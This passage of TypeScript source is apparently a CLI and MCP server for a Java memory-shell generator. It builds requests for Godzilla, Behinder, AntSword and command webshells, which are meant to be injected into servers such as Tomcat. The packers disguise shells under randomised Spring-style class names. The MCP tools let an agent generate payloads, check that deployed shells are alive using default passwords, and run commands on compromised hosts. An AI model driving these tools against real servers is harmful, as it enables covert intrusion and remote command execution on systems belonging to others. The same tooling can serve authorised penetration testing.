opts.output,\n decode: opts.decode,\n });\n if (result.destination !== \"stdout\") {\n logInfo(`wrote ${result.size} bytes to ${result.destination}${result.decoded ? \" (base64-decoded)\" : \"\"}`);\n }\n });\n}\n","import { writeFileSync } from \"node:fs\";\n\n/** File extensions whose payload is base64-encoded bytes and should be decoded. */\nconst BINARY_EXTENSIONS = [\".class\", \".jar\", \".zip\", \".ser\", \".bin\"];\n\nexport interface OutputOptions {\n /** Destination file path. When omitted, content goes to stdout. */\n outFile?: string;\n /** Force base64 decoding before writing (binary payload). */\n decode?: boolean;\n}\n\nexport interface OutputResult {\n /** Where the payload went: a file path, or \"stdout\". */\n destination: string;\n /** Number of bytes written (file) or characters printed (stdout). */\n size: number;\n /** Whether the payload was base64-decoded. */\n decoded: boolean;\n}\n\nfunction hasBinaryExtension(path: string): boolean {\n const lower = path.toLowerCase();\n return BINARY_EXTENSIONS.some((ext) => lower.endsWith(ext));\n}\n\n/**\n * Decide whether a payload should be base64-decoded before writing.\n * Explicit `decode` wins; otherwise infer from the output file extension.\n */\nexport function shouldDecode(opts: OutputOptions): boolean {\n if (opts.decode !== undefined) return opts.decode;\n if (opts.outFile) return hasBinaryExtension(opts.outFile);\n return false;\n}\n\n/**\n * Emit a payload string either to a file or to stdout.\n * Uses injectable sinks so it can be unit-tested without touching the real fs/stdout.\n */\nexport function emitPayload(\n payload: string,\n opts: OutputOptions,\n sinks: {\n writeFile?: (path: string, data: Buffer | string) => void;\n writeStdout?: (data: string) => void;\n } = {},\n): OutputResult {\n const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync(p, d));\n const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));\n const decoded = shouldDecode(opts);\n\n if (opts.outFile) {\n if (decoded) {\n const buf = Buffer.from(payload, \"base64\");\n writeFile(opts.outFile, buf);\n return { destination: opts.outFile, size: buf.length, decoded: true };\n }\n writeFile(opts.outFile, payload);\n return { destination: opts.outFile, size: Buffer.byteLength(payload), decoded: false };\n }\n\n // stdout\n if (decoded) {\n const buf = Buffer.from(payload, \"base64\");\n writeStdout(buf.toString(\"binary\"));\n return { destination: \"stdout\", size: buf.length, decoded: true };\n }\n writeStdout(payload.endsWith(\"\\n\") ? payload : `${payload}\\n`);\n return { destination: \"stdout\", size: payload.length, decoded: false };\n}\n","import { randomInt } from \"node:crypto\";\n\nimport type {\n MemShellGenerateRequest,\n ProbeShellGenerateRequest,\n} from \"../api/types.js\";\nimport { resolveJreVersion } from \"./jdk.js\";\n\n/**\n * Packers that require a randomised Spring expression injector class name.\n * Ported from web/app/utils/transformer.ts.\n */\nconst SPRING_GZIP_JDK17_RELATED_PACKERS = new Set([\n \"SpEL\",\n \"SpELSpringGzipJDK17\",\n \"OGNL\",\n \"OGNLSpringGzipJDK17\",\n \"JXPath\",\n \"JXPathSpringGzipJDK17\",\n]);\n\nconst UPPERCASE_LETTERS = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\nconst CLASS_NAME_LETTERS = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n\nfunction randomChar(chars: string): string {\n return chars[randomInt(chars.length)];\n}\n\nfunction generateSpringExpressionInjectorClassName(): string {\n const randomName = Array.from({ length: 5 }, () => randomChar(CLASS_NAME_LETTERS)).join(\"\");\n return `org.springframework.expression.${randomChar(UPPERCASE_LETTERS)}${randomName}Util`;\n}\n\n/** Flat option set for building a memshell request (from flags or the wizard). */\nexport interface MemShellOptions {\n server: string;\n serverVersion?: string;\n shellTool: string;\n shellType: string;\n packer: string;\n\n jdk?: string | number;\n debug?: boolean;\n byPassJavaModule?: boolean;\n shrink?: boolean;\n lambdaSuffix?: boolean;\n probe?: boolean;\n\n shellClassName?: string;\n godzillaPass?: string;\n godzillaKey?: string;\n commandParamName?: string;\n commandTemplate?: string;\n behinderPass?: string;\n antSwordPass?: string;\n headerName?: string;\n headerValue?: string;\n shellClassBase64?: string;\n encryptor?: string;\n implementationClass?: string;\n\n urlPattern?: string;\n injectorClassName?: string;\n staticInitialize?: boolean;\n}\n\nexport function buildMemShellRequest(opts: MemShellOptions): MemShellGenerateRequest {\n const injectorClassName = SPRING_GZIP_JDK17_RELATED_PACKERS.has(opts.packer)\n ? generateSpringExpressionInjectorClassName()\n : opts.injectorClassName;\n\n return {\n shellConfig: {\n server: opts.server,\n serverVersion: opts.serverVersion,\n shellTool: opts.shellTool,\n shellType: opts.shellType,\n targetJreVersion: resolveJreVersion(opts.jdk),\n debug: opts.debug,\n byPassJavaModule: opts.byPassJavaModule,\n shrink: opts.shrink,\n lambdaSuffix: opts.lambdaSuffix,\n probe: opts.probe,\n },\n shellToolConfig: {\n shellClassName: opts.shellClassName,\n godzillaPass: opts.godzillaPass,\n godzillaKey: opts.godzillaKey,\n commandParamName: opts.commandParamName,\n commandTemplate: opts.commandTemplate,\n behinderPass: opts.behinderPass,\n antSwordPass: opts.antSwordPass,\n headerName: opts.headerName,\n headerValue: opts.headerValue,\n shellClassBase64: opts.shellClassBase64,\n encryptor: opts.encryptor,\n implementationClass: opts.implementationClass,\n },\n injectorConfig: {\n injectorClassName,\n urlPattern: opts.urlPattern,\n staticInitialize: opts.staticInitialize,\n },\n packer: opts.packer,\n };\n}\n\n/** Flat option set for building a probe request. */\nexport interface ProbeOptions {\n probeMethod: string;\n probeContent: string;\n packer: string;\n\n shellClassName?: string;\n jdk?: string | number;\n debug?: boolean;\n byPassJavaModule?: boolean;\n shrink?: boolean;\n staticInitialize?: boolean;\n lambdaSuffix?: boolean;\n\n host?: string;\n seconds?: number;\n sleepServer?: string;\n server?: string;\n reqParamName?: string;\n commandTemplate?: string;\n}\n\nexport function buildProbeRequest(opts: ProbeOptions): ProbeShellGenerateRequest {\n return {\n probeConfig: {\n probeMethod: opts.probeMethod,\n probeContent: opts.probeContent,\n shellClassName: opts.shellClassName,\n targetJreVersion: resolveJreVersion(opts.jdk),\n debug: opts.debug,\n byPassJavaModule: opts.byPassJavaModule,\n shrink: opts.shrink,\n staticInitialize: opts.staticInitialize,\n lambdaSuffix: opts.lambdaSuffix,\n },\n probeContentConfig: {\n host: opts.host,\n seconds: opts.seconds,\n sleepServer: opts.sleepServer,\n server: opts.server,\n reqParamName: opts.reqParamName,\n commandTemplate: opts.commandTemplate,\n },\n packer: opts.packer,\n };\n}\n","/** Maps friendly JDK names to Java class-file major versions. */\nexport const JDK_VERSIONS: Record<string, number> = {\n java6: 50,\n java8: 52,\n java9: 53,\n java11: 55,\n java17: 61,\n java21: 65,\n};\n\n/**\n * Resolve a user-supplied JDK value into a class-file major version number.\n * Accepts friendly names (\"java8\", \"8\"), or a raw major version (\"52\").\n */\nexport function resolveJreVersion(input: string | number | undefined): number | undefined {\n if (input === undefined || input === \"\") return undefined;\n\n if (typeof input === \"number\") return input;\n\n const normalized = input.trim().toLowerCase();\n\n // Friendly name, e.g. \"java8\"\n if (normalized in JDK_VERSIONS) return JDK_VERSIONS[normalized];\n\n // Bare java number, e.g. \"8\" -> java8\n const withPrefix = `java${normalized}`;\n if (withPrefix in JDK_VERSIONS) return JDK_VERSIONS[withPrefix];\n\n // Raw class-file major version, e.g. \"52\"\n const num = Number(normalized);\n if (Number.isInteger(num) && num > 0) return num;\n\n throw new Error(\n `Invalid JDK version \"${input}\". Use one of: ${Object.keys(JDK_VERSIONS).join(\", \")}, or a class-file major version like 52.`,\n );\n}\n","import { readFileSync } from \"node:fs\";\n\nimport { checkbox, confirm, input, select, Separator } from \"@inquirer/prompts\";\n\nimport type { MemPartyClient } from \"../api/client.js\";\nimport { JDK_VERSIONS } from \"../core/jdk.js\";\nimport type { MemShellOptions } from \"../core/request-builder.js\";\n\nconst JDK_CHOICES = [\n { name: \"server default\", value: \"\" },\n ...Object.entries(JDK_VERSIONS).map(([name, major]) => ({\n name: `${name} (${major})`,\n value: name,\n })),\n];\n\nfunction packerChoices(tree: { name: string; children: string[] }[]) {\n const choices: (Separator | { name: string; value: string })[] = [];\n for (const parent of tree) {\n choices.push(new Separator(`── ${parent.name} ──`));\n choices.push({ name: parent.name, value: parent.name });\n for (const child of parent.children) {\n choices.push({ name: ` ${child}`, value: child });\n }\n }\n return choices;\n}\n\n/** Drive an interactive prompt flow, returning options for buildMemShellRequest. */\nexport async function runMemShellWizard(client: MemPartyClient): Promise<MemShellOptions> {\n const [config, packerTree] = await Promise.all([client.getConfig(), client.getPackerTree()]);\n\n const server = await select({\n message: \"Target server\",\n choices: Object.keys(config).map((s) => ({ name: s, value: s })),\n });\n\n const tools = Object.keys(config[server]);\n const shellTool = await select({\n message: \"Shell tool\",\n choices: tools.map((t) => ({ name: t, value: t })),\n });\n\n const shellType = await select({\n message: \"Shell type\",\n choices: config[server][shellTool].map((t) => ({ name: t, value: t })),\n });\n\n const packer = await select({\n message: \"Packer\",\n choices: packerChoices(packerTree),\n });\n\n const opts: MemShellOptions = { server, shellTool, shellType, packer };\n\n // Tool-specific configuration.\n switch (shellTool) {\n case \"Godzilla\":\n opts.godzillaPass = await input({ message: \"Godzilla pass\", default: \"pass\" });\n opts.godzillaKey = await input({ message: \"Godzilla key\", default: \"key\" });\n break;\n case \"Behinder\":\n opts.behinderPass = await input({ message: \"Behinder pass\", default: \"rebeyond\" });\n break;\n case \"AntSword\":\n opts.antSwordPass = await input({ message: \"AntSword pass\", default: \"ant\" });\n break;\n case \"Command\": {\n opts.commandParamName = await input({ message: \"Command param name\", default: \"cmd\" });\n const cc = await client.getCommandConfigs();\n opts.encryptor = await select({\n message: \"Encryptor\",\n choices: cc.encryptors.map((e) => ({ name: e, value: e })),\n });\n opts.implementationClass = await select({\n message: \"Implementation class\",\n choices: cc.implementationClasses.map((e) => ({ name: e, value: e })),\n });\n const template = await input({ message: \"Command template (optional, {command} placeholder)\", default: \"\" });\n if (template) opts.commandTemplate = template;\n break;\n }\n case \"Custom\": {\n const file = await input({ message: \"Path to custom .class file\" });\n opts.shellClassBase64 = readFileSync(file).toString(\"base64\");\n break;\n }\n default:\n break;\n }\n\n // Common header config (used by several tools).\n opts.headerName = await input({ message: \"Header name\", default: \"User-Agent\" });\n const headerValue = await input({ message: \"Header value (optional)\", default: \"\" });\n if (headerValue) opts.headerValue = headerValue;\n\n const shellClassName = await input({ message: \"Shell class name (optional, random if empty)\", default: \"\" });\n if (shellClassName) opts.shellClassName = shellClassName;\n\n opts.urlPattern = await input({ message: \"URL pattern\", default: \"/*\" });\n\n const jdk = await select({ message: \"Target JDK\", choices: JDK_CHOICES });\n if (jdk) opts.jdk = jdk;\n\n const toggles = await checkbox({\n message: \"Options\",\n choices: [\n { name: \"shrink bytecode\", value: \"shrink\", checked: true },\n { name: \"static initialize\", value: \"staticInitialize\", checked: true },\n { name: \"bypass Java module\", value: \"byPassJavaModule\" },\n { name: \"lambda suffix\", value: \"lambdaSuffix\" },\n { name: \"debug\", value: \"debug\" },\n ],\n });\n opts.shrink = toggles.includes(\"shrink\");\n opts.staticInitialize = toggles.includes(\"staticInitialize\");\n opts.byPassJavaModule = toggles.includes(\"byPassJavaModule\");\n opts.lambdaSuffix = toggles.includes(\"lambdaSuffix\");\n opts.debug = toggles.includes(\"debug\");\n\n const confirmed = await confirm({ message: `Generate ${shellTool} ${shellType} for ${server} (${packer})?` });\n if (!confirmed) {\n throw new Error(\"Cancelled by user.\");\n }\n\n return opts;\n}\n","import { Command, Option } from \"commander\";\n\nimport { formatOp, opLogPath, readOps, type OpCategory } from \"../core/oplog.js\";\n\ninterface LogCmdOptions {\n category?: OpCategory;\n target?: string;\n limit?: string;\n json?: boolean;\n}\n\nexport function registerLogCommand(program: Command): void {\n program\n .command(\"log\")\n .description(\"Show the global operation log (every gen/probe/connect/exec/target op)\")\n .addOption(\n new Option(\"--category <name>\", \"filter by operation category\").choices([\n \"gen\",\n \"probe\",\n \"connect\",\n \"exec\",\n \"target\",\n ]),\n )\n .option(\n \"--target <name>\",\n \"filter by target: project name, project/shell, or a URL substring (e.g. host)\",\n )\n .option(\"--limit <n>\", \"max entries (default 50)\", \"50\")\n .option(\"--json\", \"output raw JSON entries (newest first)\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty log # latest 50 operations\n $ memparty log --category exec # only command executions\n $ memparty log --target hw222 # everything against project hw222\n $ memparty log --category exec --target 192.168.31.222 --json\n`,\n )\n .action((opts: LogCmdOptions) => {\n const limit = Number.parseInt(opts.limit ?? \"50\", 10);\n const entries = readOps({\n category: opts.category,\n target: opts.target,\n limit: Number.isNaN(limit) ? 50 : limit,\n });\n if (opts.json) {\n process.stdout.write(`${JSON.stringify({ logPath: opLogPath(), entries }, null, 2)}\\n`);\n return;\n }\n if (entries.length === 0) {\n process.stdout.write(`no operations logged yet (log: ${opLogPath()})\\n`);\n return;\n }\n for (const entry of entries) {\n process.stdout.write(`${formatOp(entry)}\\n`);\n }\n });\n}\n","import { McpServer } from \"@modelcontextprotocol/sdk/server/mcp.js\";\nimport { StdioServerTransport } from \"@modelcontextprotocol/sdk/server/stdio.js\";\nimport { z } from \"zod\";\n\nimport { MemPartyClient } from \"../api/client.js\";\nimport { execBehinder, testBehinder } from \"../connect/behinder.js\";\nimport { execGodzilla, testGodzilla } from \"../connect/godzilla.js\";\nimport { testSuo5 } from \"../connect/suo5.js\";\nimport type { ConnectTestResult, ExecResult } from \"../connect/types.js\";\nimport { logOp, opLogPath, readOps, truncateOutput, type OpCategory } from \"../core/oplog.js\";\nimport {\n listProjects,\n removeProject,\n removeShell,\n resolveConnection,\n saveProjectMeta,\n saveShell,\n saveShellMeta,\n targetStorePath,\n} from \"../core/targets.js\";\nimport { buildMemShellRequest } from \"../core/request-builder.js\";\nimport { buildProbeRequest } from \"../core/request-builder.js\";\nimport { CLI_VERSION } from \"../version.js\";\n\nfunction jsonContent(data: unknown) {\n return { content: [{ type: \"text\" as const, text: JSON.stringify(data, null, 2) }] };\n}\n\nfunction errorContent(err: unknown) {\n return {\n isError: true,\n content: [{ type: \"text\" as const, text: `Error: ${(err as Error).message}` }],\n };\n}\n\nconst memShellInput = {\n server: z.string().describe(\"Target server, e.g. Tomcat\"),\n serverVersion: z.string().optional(),\n shellTool: z.string().describe(\"Shell tool, e.g. Godzilla, Behinder, Command\"),\n shellType: z.string().describe(\"Shell type, e.g. Listener, Filter, Servlet\"),\n packer: z.string().describe(\"Packer, e.g. Base64, Jar, JSP\"),\n jdk: z.string().optional().describe(\"java6/8/9/11/17/21 or class-file major version\"),\n debug: z.boolean().optional(),\n byPassJavaModule: z.boolean().optional(),\n shrink: z.boolean().optional(),\n lambdaSuffix: z.boolean().optional(),\n probe: z.boolean().optional(),\n shellClassName: z.string().optional(),\n godzillaPass: z.string().optional(),\n godzillaKey: z.string().optional(),\n behinderPass: z.string().optional(),\n antSwordPass: z.string().optional(),\n commandParamName: z.string().optional(),\n commandTemplate: z.string().optional(),\n encryptor: z.string().optional(),\n implementationClass: z.string().optional(),\n headerName: z.string().optional(),\n headerValue: z.string().optional(),\n shellClassBase64: z.string().optional(),\n urlPattern: z.string().optional(),\n injectorClassName: z.string().optional(),\n staticInitialize: z.boolean().optional(),\n};\n\nconst probeInput = {\n probeMethod: z.enum([\"ResponseBody\", \"DNSLog\", \"Sleep\"]),\n probeContent: z.string().describe(\"BasicInfo, Server, OS, JDK, Bytecode, Command\"),\n packer: z.string(),\n jdk: z.string().optional(),\n debug: z.boolean().optional(),\n byPassJavaModule: z.boolean().optional(),\n shrink: z.boolean().optional(),\n lambdaSuffix: z.boolean().optional(),\n staticInitialize: z.boolean().optional(),\n shellClassName: z.string().optional(),\n host: z.string().optional(),\n seconds: z.number().optional(),\n sleepServer: z.string().optional(),\n server: z.string().optional(),\n reqParamName: z.string().optional(),\n commandTemplate: z.string().optional(),\n};\n\nconst connectInput = {\n name: z\n .string()\n .optional()\n .describe(\n \"saved target reference (<project>/<shell>, or a bare project holding exactly one shell) — \" +\n \"when set, url/tool/pass/... fall back to the saved values (see target_save/target_list)\",\n ),\n url: z.string().optional().describe(\"URL of the deployed shell (or pass `name`)\"),\n tool: z\n .enum([\"godzilla\", \"behinder\", \"suo5\"])\n .optional()\n .describe(\"shell tool to test (or taken from the saved target)\"),\n pass: z\n .string()\n .optional()\n .describe(\"password (godzilla default: pass; behinder default: rebeyond)\"),\n key: z.string().optional().describe(\"godzilla key (default: key)\"),\n headerName: z\n .string()\n .optional()\n .describe(\"gate header name from generate_memshell shellToolConfig (usually User-Agent)\"),\n headerValue: z\n .string()\n .optional()\n .describe(\"gate header value from generate_memshell shellToolConfig — required for MemShellParty shells\"),\n suo5Mode: z\n .enum([\"auto\", \"v2\", \"v1\"])\n .optional()\n .describe(\"suo5 protocol variant (default: auto)\"),\n insecure: z.boolean().optional().describe(\"skip TLS certificate verification\"),\n timeoutMs: z.number().optional().describe(\"request timeout in milliseconds (default 30000)\"),\n};\n\nconst execInput = {\n name: z\n .string()\n .optional()\n .describe(\n \"saved target reference (<project>/<shell>, or a bare project holding exactly one shell) — \" +\n \"when set, url/tool/pass/... fall back to the saved values (see target_save/target_list)\",\n ),\n url: z.string().optional().describe(\"URL of the deployed shell (or pass `name`)\"),\n tool: z\n .enum([\"godzilla\", \"behinder\"])\n .optional()\n .describe(\"shell tool to execute through (or taken from the saved target)\"),\n command: z.string().describe(\"command line to execute on the target\"),\n pass: z\n .string()\n .optional()\n .describe(\"password (godzilla default: pass; behinder default: rebeyond)\"),\n key: z.string().optional().describe(\"godzilla key (default: key)\"),\n os: z\n .enum([\"auto\", \"windows\", \"linux\"])\n .optional()\n .describe(\n \"godzilla only: remote OS for the shell wrapper (default: auto — one extra request to detect; behinder detects the OS inside its payload)\",\n ),\n headerName: z\n .string()\n .optional()\n .describe(\"gate header name from generate_memshell shellToolConfig (usually User-Agent)\"),\n headerValue: z\n .string()\n .optional()\n .describe(\"gate header value from generate_memshell shellToolConfig — required for MemShellParty shells\"),\n insecure: z.boolean().optional().describe(\"skip TLS certificate verification\"),\n timeoutMs: z.number().optional().describe(\"request timeout in milliseconds (default 30000)\"),\n};\n\nconst targetSaveInput = {\n project: z.string().describe(\"project name (created when missing)\"),\n shell: z.string().describe(\"shell name inside the project\"),\n url: z.string().describe(\"URL of the deployed shell\"),\n tool: z.enum([\"godzilla\", \"behinder\", \"suo5\"]).describe(\"shell tool\"),\n pass: z.string().optional().describe(\"password\"),\n key: z.string().optional().describe(\"godzilla key\"),\n headerName: z.string().optional().describe(\"gate header name (shellToolConfig.headerName)\"),\n headerValue: z.string().optional().describe(\"gate header value (shellToolConfig.headerValue)\"),\n insecure: z.boolean().optional().describe(\"skip TLS certificate verification\"),\n projectRemark: z.string().optional().describe(\"project remark (merged into the project)\"),\n projectCategory: z.string().optional().describe(\"project category (merged into the project)\"),\n shellRemark: z.string().optional().describe(\"remark for this shell\"),\n};\n\nexport function createMcpServer(client: MemPartyClient): McpServer {\n const server = new McpServer({ name: \"memshell-party\", version: CLI_VERSION });\n\n server.registerTool(\n \"list_servers\",\n { title: \"List servers\", description: \"List supported servers and their shell types\" },\n async () => {\n try {\n return jsonContent(await client.getServers());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"list_config\",\n {\n title: \"List full config\",\n description: \"List every server's shell tools and their supported shell types\",\n },\n async () => {\n try {\n return jsonContent(await client.getConfig());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"list_packers\",\n { title: \"List packers\", description: \"List packers as a parent/child tree\" },\n async () => {\n try {\n return jsonContent(await client.getPackerTree());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"list_command_configs\",\n {\n title: \"List command configs\",\n description: \"List Command-tool encryptors and implementation classes\",\n },\n async () => {\n try {\n return jsonContent(await client.getCommandConfigs());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"generate_memshell\",\n { title: \"Generate memory shell\", description: \"Generate a Java memory shell payload\", inputSchema: memShellInput },\n async (args) => {\n const meta = {\n server: args.server,\n serverVersion: args.serverVersion,\n shellTool: args.shellTool,\n shellType: args.shellType,\n packer: args.packer,\n jdk: args.jdk,\n };\n const started = Date.now();\n try {\n const response = await client.generateMemShell(buildMemShellRequest(args));\n logOp({\n category: \"gen\",\n action: \"gen\",\n ok: true,\n durationMs: Date.now() - started,\n detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,\n meta,\n });\n return jsonContent(response);\n } catch (err) {\n logOp({\n category: \"gen\",\n action: \"gen\",\n ok: false,\n durationMs: Date.now() - started,\n error: (err as Error).message,\n meta,\n });\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"generate_probe\",\n { title: \"Generate probe shell\", description: \"Generate a probe/detection shell payload\", inputSchema: probeInput },\n async (args) => {\n const meta = {\n probeMethod: args.probeMethod,\n probeContent: args.probeContent,\n packer: args.packer,\n jdk: args.jdk,\n };\n const started = Date.now();\n try {\n const response = await client.generateProbe(buildProbeRequest(args));\n logOp({\n category: \"probe\",\n action: \"probe\",\n ok: true,\n durationMs: Date.now() - started,\n detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,\n meta,\n });\n return jsonContent(response);\n } catch (err) {\n logOp({\n category: \"probe\",\n action: \"probe\",\n ok: false,\n durationMs: Date.now() - started,\n error: (err as Error).message,\n meta,\n });\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"parse_classname\",\n {\n title: \"Parse class name\",\n description: \"Parse the fully-qualified class name from base64-encoded .class bytes\",\n inputSchema: { classBase64: z.string().describe(\"base64-encoded .class file bytes\") },\n },\n async ({ classBase64 }) => {\n try {\n return jsonContent({ className: await client.parseClassName(classBase64) });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"server_version\",\n { title: \"Server version\", description: \"Get the backend server version info\" },\n async () => {\n try {\n return jsonContent(await client.getVersion());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"connect_test\",\n {\n title: \"Test shell connection\",\n description:\n \"Test whether a deployed Godzilla / Behinder / suo5 shell is alive and the \" +\n \"credentials work, by performing the tool's real protocol handshake. \" +\n \"Pass a saved target `name`, or url+tool with the gate header \" +\n \"(headerName/headerValue) from generate_memshell output for MemShellParty shells.\",\n inputSchema: connectInput,\n },\n async (args) => {\n try {\n const conn = resolveConnection(args.name, {\n url: args.url,\n tool: args.tool,\n pass: args.pass,\n key: args.key,\n headerName: args.headerName,\n headerValue: args.headerValue,\n insecure: args.insecure,\n });\n const common = {\n headerName: conn.headerName,\n headerValue: conn.headerValue,\n extraHeaders: conn.extraHeaders,\n timeoutMs: args.timeoutMs,\n insecure: conn.insecure,\n };\n let result: ConnectTestResult;\n switch (conn.tool) {\n case \"godzilla\":\n result = await testGodzilla(conn.url, conn.pass ?? \"pass\", conn.key ?? \"key\", common);\n break;\n case \"behinder\":\n result = await testBehinder(conn.url, conn.pass ?? \"rebeyond\", common);\n break;\n case \"suo5\":\n result = await testSuo5(conn.url, { ...common, mode: args.suo5Mode });\n break;\n default:\n throw new Error(`unknown tool ${String(conn.tool)}`);\n }\n logOp({\n category: \"connect\",\n action: \"connect\",\n targetName: conn.targetName,\n url: conn.url,\n tool: conn.tool,\n ok: result.ok,\n durationMs: result.durationMs,\n detail: result.detail,\n error: result.error,\n });\n return jsonContent(result);\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"exec_command\",\n {\n title: \"Execute command on shell\",\n description:\n \"Execute a command line on a deployed Godzilla / Behinder shell and return its \" +\n \"stdout+stderr. Uses the tool's real protocol (Godzilla execCommand method / \" +\n \"Behinder Cmd payload). Run connect_test first to verify credentials; pass a \" +\n \"saved target `name`, or url+tool with the same gate header \" +\n \"(headerName/headerValue) for MemShellParty shells.\",\n inputSchema: execInput,\n },\n async (args) => {\n try {\n const conn = resolveConnection(args.name, {\n url: args.url,\n tool: args.tool,\n pass: args.pass,\n key: args.key,\n headerName: args.headerName,\n headerValue: args.headerValue,\n insecure: args.insecure,\n });\n const common = {\n headerName: conn.headerName,\n headerValue: conn.headerValue,\n extraHeaders: conn.extraHeaders,\n timeoutMs: args.timeoutMs,\n insecure: conn.insecure,\n };\n let result: ExecResult;\n switch (conn.tool) {\n case \"godzilla\":\n result = await execGodzilla(\n conn.url,\n conn.pass ?? \"pass\",\n conn.key ?? \"key\",\n args.command,\n { ...common, os: args.os },\n );\n break;\n case \"behinder\":\n result = await execBehinder(conn.url, conn.pass ?? \"rebeyond\", args.command, common);\n break;\n default:\n throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);\n }\n const truncated = result.output !== undefined ? truncateOutput(result.output) : null;\n logOp({\n category: \"exec\",\n action: \"exec\",\n targetName: conn.targetName,\n url: conn.url,\n tool: conn.tool,\n ok: result.ok,\n durationMs: result.durationMs,\n command: args.command,\n output: truncated?.output,\n outputTruncated: truncated?.truncated || undefined,\n error: result.error,\n });\n return jsonContent(result);\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"target_save\",\n {\n title: \"Save shell target\",\n description:\n \"Save a shell connection profile as <project>/<shell> so later connect_test / \" +\n \"exec_command calls only need the name. A project groups several shells and \" +\n \"carries an optional remark and category. Overwrites an existing shell.\",\n inputSchema: targetSaveInput,\n },\n async (args) => {\n try {\n if (args.projectRemark !== undefined || args.projectCategory !== undefined) {\n saveProjectMeta(args.project, {\n remark: args.projectRemark,\n category: args.projectCategory,\n });\n }\n const stored = saveShell(args.project, args.shell, {\n url: args.url,\n tool: args.tool,\n pass: args.pass,\n key: args.key,\n headerName: args.headerName,\n headerValue: args.headerValue,\n insecure: args.insecure,\n remark: args.shellRemark,\n });\n logOp({\n category: \"target\",\n action: \"save\",\n targetName: `${args.project}/${args.shell}`,\n url: args.url,\n tool: args.tool,\n ok: true,\n detail: \"saved\",\n meta: {\n projectRemark: args.projectRemark,\n projectCategory: args.projectCategory,\n shellRemark: args.shellRemark,\n },\n });\n return jsonContent({ project: args.project, shell: args.shell, ...stored });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"target_note\",\n {\n title: \"Set remark/category\",\n description:\n \"Set or clear (empty string) a project's remark and/or category — or a shell's \" +\n \"remark when `shell` is given.\",\n inputSchema: {\n project: z.string(),\n shell: z.string().optional().describe(\"when set, only `remark` applies (to the shell)\"),\n remark: z.string().optional().describe('remark (\"\" to clear)'),\n category: z.string().optional().describe('project category (\"\" to clear; projects only)'),\n },\n },\n async (args) => {\n try {\n if (args.shell) {\n if (args.category !== undefined) {\n throw new Error(\"category only applies to projects\");\n }\n const updated = saveShellMeta(args.project, args.shell, { remark: args.remark });\n logOp({\n category: \"target\",\n action: \"note\",\n targetName: `${args.project}/${args.shell}`,\n ok: true,\n detail: `remark=${updated.remark ?? \"-\"}`,\n });\n return jsonContent({\n project: args.project,\n shell: args.shell,\n remark: updated.remark,\n });\n }\n const updated = saveProjectMeta(args.project, {\n remark: args.remark,\n category: args.category,\n });\n logOp({\n category: \"target\",\n action: \"note\",\n targetName: args.project,\n ok: true,\n detail: `category=${updated.category ?? \"-\"} remark=${updated.remark ?? \"-\"}`,\n });\n return jsonContent({ project: args.project, ...updated, shells: Object.keys(updated.shells) });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"target_list\",\n {\n title: \"List saved targets\",\n description:\n \"List saved projects (remark, category) and their shells. Use the \" +\n \"<project>/<shell> references as `name` in connect_test / exec_command.\",\n inputSchema: {\n category: z.string().optional().describe(\"only show projects in this category\"),\n },\n },\n async (args) => {\n try {\n const all = listProjects();\n const filtered: Record<string, unknown> = {};\n for (const [name, p] of Object.entries(all)) {\n if (args.category !== undefined && p.category !== args.category) continue;\n filtered[name] = p;\n }\n return jsonContent({ storePath: targetStorePath(), projects: filtered });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"target_remove\",\n {\n title: \"Remove saved target\",\n description: \"Remove a whole project, or a single shell when `shell` is given.\",\n inputSchema: {\n project: z.string(),\n shell: z.string().optional(),\n },\n },\n async (args) => {\n try {\n const removed = args.shell\n ? removeShell(args.project, args.shell)\n : removeProject(args.project);\n if (!removed) throw new Error(`unknown target ${args.project}/${args.shell ?? \"\"}`);\n logOp({\n category: \"target\",\n action: \"remove\",\n targetName: args.shell ? `${args.project}/${args.shell}` : args.project,\n ok: true,\n detail: \"removed\",\n });\n return jsonContent({ removed: true, project: args.project, shell: args.shell });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"log_list\",\n {\n title: \"List operation log\",\n description:\n \"Read the global operation log (every gen/probe/connect/exec/target op), \" +\n \"newest first. Filter by category and/or target.\",\n inputSchema: {\n category: z\n .enum([\"gen\", \"probe\", \"connect\", \"exec\", \"target\"])\n .optional()\n .describe(\"operation category\"),\n target: z\n .string()\n .optional()\n .describe(\"project name, project/shell, or a URL substring (e.g. host)\"),\n limit: z.number().optional().describe(\"max entries (default 50)\"),\n },\n },\n async (args) => {\n try {\n const entries = readOps({\n category: args.category as OpCategory | undefined,\n target: args.target,\n limit: args.limit,\n });\n return jsonContent({ logPath: opLogPath(), entries });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n return server;\n}\n\n/** Start the MCP server over stdio. */\nexport async function startMcpStdio(client: MemPartyClient): Promise<void> {\n const server = createMcpServer(client);\n const transport = new StdioServerTransport();\n await server.connect(transport);\n}\n","import { createRequire } from \"node:module\";\n\nconst require = createRequire(import.meta.url);\n\ninterface PkgJson {\n version: string;\n}\n\n// package.json sits one level above the built dist/ file and above src/ in dev.\nlet version = \"0.0.0\";\ntry {\n version = 